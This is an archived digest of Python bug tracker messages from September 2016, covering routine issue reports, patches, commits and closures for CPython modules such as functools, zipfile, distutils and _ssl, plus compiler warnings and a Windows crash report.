Message-ID: <1473742182.2.0.862784125979.issue17188@psf.upfronthosting.co.za>


Thomi Richards added the comment:

Re-uploaded the patch without the typo.

----------
Added file: http://bugs.python.org/file44618/issue17188_3.4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17188>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:53:35 2016
From: report at bugs.python.org (Alex Jurkiewicz)
Date: Tue, 13 Sep 2016 04:53:35 +0000
Subject: [issue28112] Add callback to functools.lru_cache
Message-ID: <1473742415.72.0.834359369661.issue28112@psf.upfronthosting.co.za>


New submission from Alex Jurkiewicz:

I'd like to add support for functools.lru_cache to have a callback parameter that runs every time an item is evicted from the cache. I've written a small prototype here:

https://github.com/alexjurkiewicz/cpython/commit/2f788387466720d47f2c82242ac33b107b0bf470

The prototype is incomplete:
* No C implementation
* Doesn't run on lru_cache.cache_clear()
* It would be nice to pass through args/kwargs for each evicted item

Comments welcome!

----------
components: Library (Lib)
messages: 276171
nosy: aj
priority: normal
severity: normal
status: open
title: Add callback to functools.lru_cache
type: enhancement
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28112>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:56:02 2016
From: report at bugs.python.org (Greg Turner)
Date: Tue, 13 Sep 2016 04:56:02 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473742562.7.0.842532528764.issue23102@psf.upfronthosting.co.za>


Greg Turner added the comment:

Huzzah

----------
Added file: http://bugs.python.org/file44619/0001-distutils-type-checks-can-fail-issue-23102.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:56:06 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 04:56:06 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <20160913045603.19406.27649.BF774237@psf.io>


Roundup Robot added the comment:

New changeset 5ae3782c4e05 by Berker Peksag in branch '3.5':
Issue #27952: Capture stderr in run_script()
https://hg.python.org/cpython/rev/5ae3782c4e05

New changeset 33d118a27035 by Berker Peksag in branch '3.6':
Issue #27952: Merge from 3.5
https://hg.python.org/cpython/rev/33d118a27035

New changeset 6acd2b575a3c by Berker Peksag in branch 'default':
Issue #27952: Merge from 3.6
https://hg.python.org/cpython/rev/6acd2b575a3c

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:57:53 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 04:57:53 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473742673.25.0.199880778237.issue27952@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Done. I'm going to pretend 2.7 doesn't exist :)

----------
nosy: +berker.peksag
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Tue Sep 13 00:59:09 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 04:59:09 +0000
Subject: [issue28112] Add callback to functools.lru_cache
In-Reply-To: <1473742415.72.0.834359369661.issue28112@psf.upfronthosting.co.za>
Message-ID: <1473742749.66.0.70955499574.issue28112@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +ncoghlan, rhettinger
stage:  -> needs patch
versions:  -Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28112>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:01:03 2016
From: report at bugs.python.org (Greg Turner)
Date: Tue, 13 Sep 2016 05:01:03 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473742863.0.0.50112040772.issue23102@psf.upfronthosting.co.za>


Greg Turner added the comment:

Double Huzzah.

I can probably cook up a test and even look at those method invocations in considerably less than the existing 1.5-year lifecycle of this bug, but not necessarily immediately due to reasons.

----------
Added file: http://bugs.python.org/file44620/0002-distutils-type-checks-can-fail-issue-23102.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:10:19 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 05:10:19 +0000
Subject: [issue27981] Reference leak in fp_setreadl() of Parser/tokenizer.c
In-Reply-To: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>
Message-ID: <20160913051017.7800.74574.1D74AACE@psf.io>


Roundup Robot added the comment:

New changeset 2be31da53dcc by Benjamin Peterson in branch '3.5':
restructure fp_setreadl so as to avoid refleaks (closes #27981)
https://hg.python.org/cpython/rev/2be31da53dcc

New changeset 4ac3de437100 by Benjamin Peterson in branch '3.6':
merge 3.5 (#27981)
https://hg.python.org/cpython/rev/4ac3de437100

New changeset aa63b94946bf by Benjamin Peterson in branch 'default':
merge 3.6 (#27981)
https://hg.python.org/cpython/rev/aa63b94946bf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:13:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 05:13:57 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473743637.12.0.193540276773.issue23102@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for the updated patches. Since they both intend to fix the same problem, we can combine them in one patch file.

----------
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:32:13 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 05:32:13 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473744733.5.0.015171296974.issue23545@psf.upfronthosting.co.za>


Martin Panter added the comment:

I think Silent Ghost is talking about my -Wtype-limits warning, which is still present. That is the only warning I am getting. I suspect you won?t see it with a 32-bit build.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:41:16 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 13 Sep 2016 05:41:16 +0000
Subject: [issue28112] Add callback to functools.lru_cache
In-Reply-To: <1473742415.72.0.834359369661.issue28112@psf.upfronthosting.co.za>
Message-ID: <1473745276.09.0.281848350005.issue28112@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Alex, I would like to pass on this feature request and keep the lru_cache API focused on its core task.  As it stands now, it was already difficult to fight reentrancy problems.

FWIW, it is very easy to roll your own LRU variants using collections.OrderedDict.  Also, if you're inclined, you can post Python recipes and at the ASPN Python website -- that is where I post my LRU variants.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28112>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:50:53 2016
From: report at bugs.python.org (Alex Jurkiewicz)
Date: Tue, 13 Sep 2016 05:50:53 +0000
Subject: [issue28112] Add callback to functools.lru_cache
In-Reply-To: <1473742415.72.0.834359369661.issue28112@psf.upfronthosting.co.za>
Message-ID: <1473745853.83.0.435117593022.issue28112@psf.upfronthosting.co.za>


Alex Jurkiewicz added the comment:

OK, thanks for the feedback. For future searchers I am using the pylru module instead:
https://pypi.python.org/pypi/pylru

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28112>
_______________________________________

From report at bugs.python.org  Tue Sep 13 01:59:08 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 05:59:08 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473746348.98.0.866140335007.issue27322@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is a patch that reuses the helper in CommandLineTests.

----------
nosy: +berker.peksag
stage: needs patch -> patch review
versions: +Python 3.5, Python 3.7
Added file: http://bugs.python.org/file44621/issue27322_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:18:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 06:18:50 +0000
Subject: [issue10972] zipfile: add "unicode" option to the force the filename
 encoding to UTF-8
In-Reply-To: <1295611245.09.0.199855932712.issue10972@psf.upfronthosting.co.za>
Message-ID: <1473747530.57.0.398276504872.issue10972@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Now UTF-8 is used for non-ASCII names. Can this issue be closed as outdated?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10972>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:19:08 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 06:19:08 +0000
Subject: [issue28113] Remove Py_CreateSymbolicLinkW
Message-ID: <1473747548.28.0.648303309588.issue28113@psf.upfronthosting.co.za>


New submission from Eryk Sun:

In 3.6, the Windows implementation of os.symlink can be simplified to directly call CreateSymbolicLinkW, since this function was added in Windows Vista. The support code for Py_CreateSymbolicLinkW can be removed from Modules/posixmodule.c. enable_symlink can also be removed because SeCreateSymbolicLinkPrivilege gets enabled automatically.

----------
components: Library (Lib), Windows
messages: 276183
nosy: eryksun, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Remove Py_CreateSymbolicLinkW
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28113>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:25:40 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 06:25:40 +0000
Subject: [issue28113] Remove Py_CreateSymbolicLinkW
In-Reply-To: <1473747548.28.0.648303309588.issue28113@psf.upfronthosting.co.za>
Message-ID: <1473747940.45.0.468435959886.issue28113@psf.upfronthosting.co.za>


Eryk Sun added the comment:

This patch also updates Win32SymlinkTests and Win32JunctionTests to use the user's %TEMP% directory instead of the source tree. It's much more likely that %TEMP% is on the system volume, which should be an NTFS volume that supports symbolic links and junctions.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44622/issue_28113_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28113>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:27:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 06:27:00 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
In-Reply-To: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>
Message-ID: <20160913062656.19067.69287.D98762C5@psf.io>


Roundup Robot added the comment:

New changeset 5e2780908857 by Serhiy Storchaka in branch 'default':
Issue #28102: The zipfile module CLI now prints usage to stderr.
https://hg.python.org/cpython/rev/5e2780908857

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:27:46 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 06:27:46 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
In-Reply-To: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>
Message-ID: <1473748066.14.0.589864134488.issue28102@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Stephen!

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:29:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 06:29:01 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473748141.85.0.422505556415.issue22493@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:29:27 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 06:29:27 +0000
Subject: [issue26900] Exclude the private API from the stable API
In-Reply-To: <1462097873.28.0.0706601779139.issue26900@psf.upfronthosting.co.za>
Message-ID: <1473748167.79.0.774225683141.issue26900@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26900>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:30:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 06:30:07 +0000
Subject: [issue26885] Add parsing support for more types in xmlrpc
In-Reply-To: <1461943983.79.0.576979457392.issue26885@psf.upfronthosting.co.za>
Message-ID: <1473748207.44.0.605659795709.issue26885@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26885>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:39:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 06:39:17 +0000
Subject: [issue28104] Set documentation is incorrect
In-Reply-To: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>
Message-ID: <20160913063910.21095.47527.454219FD@psf.io>


Roundup Robot added the comment:

New changeset 5d93a9b4f0e8 by Raymond Hettinger in branch '3.5':
Issue #28104: More accurately document set method signatures
https://hg.python.org/cpython/rev/5d93a9b4f0e8

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:43:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 06:43:17 +0000
Subject: [issue28104] Set documentation is incorrect
In-Reply-To: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>
Message-ID: <20160913064310.69669.91065.6DD76163@psf.io>


Roundup Robot added the comment:

New changeset f30a76f0d477 by Raymond Hettinger in branch '2.7':
Issue #28104: More accurately document set method signatures
https://hg.python.org/cpython/rev/f30a76f0d477

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:45:44 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 13 Sep 2016 06:45:44 +0000
Subject: [issue28104] Set documentation is incorrect
In-Reply-To: <1473700051.49.0.516497540366.issue28104@psf.upfronthosting.co.za>
Message-ID: <1473749144.53.0.736014440935.issue28104@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28104>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:55:35 2016
From: report at bugs.python.org (Christoph Gohlke)
Date: Tue, 13 Sep 2016 06:55:35 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
Message-ID: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>


New submission from Christoph Gohlke:

Trying to build numpy-1.11.2rc1 wheels for Python 3.6.0b1 on Windows 10 with `python.exe setup.py bdist_wheel`, python36.dll (32 and 64 bit) segfaults in the `find_maxchar_surrogates` function. Some other packages built OK, e.g. Cython, pyzmq and Pillow.

The crash is at <https://hg.python.org/cpython/file/v3.6.0b1/Objects/unicodeobject.c#l1607>. The call stack is attached.

Locals:
+		begin	0x00454c49464f5250 <Error reading characters of string.>	const wchar_t *
		ch	1509860640	unsigned int
+		end	0x004550fc90512200 <Error reading characters of string.>	const wchar_t *
+		iter	0x00000259a500e7d8 L"\x2"	const wchar_t *
+		maxchar	0x0000005a59fea520 {0}	unsigned int *
+		num_surrogates	0x0000005a59fea528 {0}	__int64 *

----------
components: Interpreter Core, Unicode, Windows
files: callstack.txt
messages: 276189
nosy: cgohlke, ezio.melotti, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Crash in unicodeobject.c find_maxchar_surrogates on python-3.6.0b1 for Windows
type: crash
versions: Python 3.6
Added file: http://bugs.python.org/file44623/callstack.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 02:57:46 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 06:57:46 +0000
Subject: [issue28102] zipfile.py script should print usage to stderr
In-Reply-To: <1473694408.4.0.763789428909.issue28102@psf.upfronthosting.co.za>
Message-ID: <1473749866.61.0.639687668216.issue28102@psf.upfronthosting.co.za>


SilentGhost added the comment:

The status code in all those cases should have been 2.

----------
nosy: +SilentGhost

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:07:03 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 07:07:03 +0000
Subject: [issue28115] Use argparse for the zipfile module
Message-ID: <1473750423.74.0.95052105427.issue28115@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Options and arguments for zipfile CLI are manually parsed for now. Since CLI becomes more complex, it is worth to convert zipfile to use argparse.

----------
components: Demos and Tools
keywords: easy
messages: 276191
nosy: SilentGhost, serhiy.storchaka, sjt
priority: normal
severity: normal
stage: needs patch
status: open
title: Use argparse for the zipfile module
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28115>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:07:35 2016
From: report at bugs.python.org (Pierre Ducroquet)
Date: Tue, 13 Sep 2016 07:07:35 +0000
Subject: =?utf-8?q?=5Bissue28116=5D_Error_in_what=27s_new_-_PEP=C2=A0515?=
Message-ID: <1473750455.95.0.91976047794.issue28116@psf.upfronthosting.co.za>


New submission from Pierre Ducroquet:

The what's new section about PEP 515 says :
?With PEP 515, though, you can use underscores to separate digits as desired to make numeric literals easier to read: 1_000_000_000_000_000. Underscores can be used with other numeric literals beyond integers, e.g. 0x_FF_FF_FF_FF.?

As far as I know, 0xFFFFFFFF is 2 ** 32 - 1, an integer.
I think the author meant ?beyond decimals?

----------
assignee: docs at python
components: Documentation
messages: 276192
nosy: Pierre Ducroquet, docs at python
priority: normal
severity: normal
status: open
title: Error in what's new - PEP?515
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28116>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:11:39 2016
From: report at bugs.python.org (Petri Lehtinen)
Date: Tue, 13 Sep 2016 07:11:39 +0000
Subject: [issue17188] Document 'from None' in raise statement doc.
In-Reply-To: <1360631999.8.0.76627095073.issue17188@psf.upfronthosting.co.za>
Message-ID: <1473750699.74.0.491591141298.issue17188@psf.upfronthosting.co.za>


Changes by Petri Lehtinen <petri at digip.org>:


----------
nosy:  -petri.lehtinen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17188>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:11:54 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 07:11:54 +0000
Subject: [issue28117] warning: dereferencing type-punned pointer will break
 strict-aliasing rules
Message-ID: <1473750714.22.0.188258678348.issue28117@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

In file included from /home/serhiy/py/cpython/Modules/_sha3/sha3module.c:113:0:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_SetBytesInLaneToZero?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:97:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
In file included from /home/serhiy/py/cpython/Modules/_sha3/sha3module.c:113:0:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_AddBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:152:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     low = *((UINT32*)(laneAsBytes+0));
     ^
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:296:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;
     ^
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c: In function ?_PySHA3_KeccakP1600_ExtractAndAddBytesInLane?:
/home/serhiy/py/cpython/Modules/_sha3/kcp/KeccakP-1600-inplace32BI.c:369:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
     *((UINT32*)(laneAsBytes+0)) = low;
     ^

----------
components: Extension Modules
messages: 276193
nosy: christian.heimes, mark.dickinson, serhiy.storchaka
priority: normal
severity: normal
status: open
title: warning: dereferencing type-punned pointer will break strict-aliasing rules
type: compile error
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28117>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:12:07 2016
From: report at bugs.python.org (Petri Lehtinen)
Date: Tue, 13 Sep 2016 07:12:07 +0000
Subject: [issue15393] JSONDecoder.raw_decode breaks on leading whitespace
In-Reply-To: <1342692596.02.0.962530841473.issue15393@psf.upfronthosting.co.za>
Message-ID: <1473750727.06.0.547566029479.issue15393@psf.upfronthosting.co.za>


Changes by Petri Lehtinen <petri at digip.org>:


----------
nosy:  -petri.lehtinen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15393>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:17:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:17:48 +0000
Subject: [issue28117] warning: dereferencing type-punned pointer will break
 strict-aliasing rules
In-Reply-To: <1473750714.22.0.188258678348.issue28117@psf.upfronthosting.co.za>
Message-ID: <1473751068.55.0.558891301142.issue28117@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
dependencies: +Add SHA-3 and SHAKE (Keccak) support
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28117>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:18:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 07:18:07 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473751087.13.0.0589537836214.issue28114@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

end-begin = 0x004550fc90512200-0x00454c49464f5250 = 5168087289776

Seems find_maxchar_surrogates() is called with wrong arguments.

----------
nosy: +serhiy.storchaka
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:23:20 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:23:20 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
Message-ID: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Since last week I'm getting a compiler warning in _ssl.c. The compiler warning is related to the type of _ssl_locks_count. It's an unsigned. When I cast it to an int like PyMem_New(PyThread_type_lock, (int)_ssl_locks_count), the warning goes away.

gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -g -Og -Wall -Wstrict-prototypes -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -I./Include -I. -IInclude -I/usr/local/include -I/home/heimes/dev/python/3.6/Include -I/home/heimes/dev/python/3.6 -c /home/heimes/dev/python/3.6/Modules/_ssl.c -o build/temp.linux-x86_64-3.6-pydebug/home/heimes/dev/python/3.6/Modules/_ssl.o
In file included from ./Include/Python.h:66:0,
                 from /home/heimes/dev/python/3.6/Modules/_ssl.c:19:
/home/heimes/dev/python/3.6/Modules/_ssl.c: In function ?_setup_ssl_threads?:
./Include/pymem.h:136:18: warning: comparison is always false due to limited range of data type [-Wtype-limits]
   ( ((size_t)(n) > PY_SSIZE_T_MAX / sizeof(type)) ? NULL : \
                  ^
/home/heimes/dev/python/3.6/Modules/_ssl.c:5076:22: note: in expansion of macro ?PyMem_New?
         _ssl_locks = PyMem_New(PyThread_type_lock, _ssl_locks_count);
                      ^~~~~~~~~

Also see #17884

----------
components: Extension Modules
messages: 276195
nosy: christian.heimes, haypo
priority: normal
severity: normal
stage: needs patch
status: open
type: compile error
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:28:04 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 07:28:04 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473751684.87.0.388285388284.issue28118@psf.upfronthosting.co.za>


SilentGhost added the comment:

It seems to be also related to #23545 (Martin saw a similar warning about a month ago).

----------
nosy: +SilentGhost, martin.panter, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:28:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:28:33 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473751713.29.0.527039414694.issue28118@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It's related to new enabled GCC warnings: see issue #23545 where the warning was already reported.

The code is fine. It's just hard to compute the limits of a data type in a C macro :-/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:32:03 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:32:03 +0000
Subject: [issue28119] Explicit null dereferenced in formatter_unicode.c
Message-ID: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Coverity is warning about four cases of potential NULL forwarding in which subsequent code does not expect a NULL value.

30. no_write_call: Although get_locale_info does overwrite locale.decimal_point on some paths, it also contains at least one feasible path which does not overwrite it.

1140    /* Calculate how much memory we'll need. */
    CID 1372743: Explicit null dereferenced (FORWARD_NULL) [select issue]
    CID 1372744: Explicit null dereferenced (FORWARD_NULL) [select issue]
    CID 1372745 (#1 of 1): Explicit null dereferenced (FORWARD_NULL)21. var_deref_model: Passing &locale to calc_number_widths, which dereferences null locale.grouping. [show details]
1141    n_total = calc_number_widths(&spec, 0, sign_char, unicode_tmp, index,
1142                                 index + n_digits, n_remainder, has_decimal,
1143                                 &locale, format, &maxchar);


1322    /* Calculate how much memory we'll need. */
    CID 1372742 (#1 of 1): Explicit null dereferenced (FORWARD_NULL)32. var_deref_model: Passing &locale to calc_number_widths, which dereferences null locale.decimal_point. [show details]
1323    n_re_total = calc_number_widths(&re_spec, 0, re_sign_char, re_unicode_tmp,
1324                                    i_re, i_re + n_re_digits, n_re_remainder,
1325                                    re_has_decimal, &locale, &tmp_format,
1326                                    &maxchar);

----------
components: Interpreter Core
messages: 276198
nosy: christian.heimes
priority: normal
severity: normal
stage: test needed
status: open
title: Explicit null dereferenced in formatter_unicode.c
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

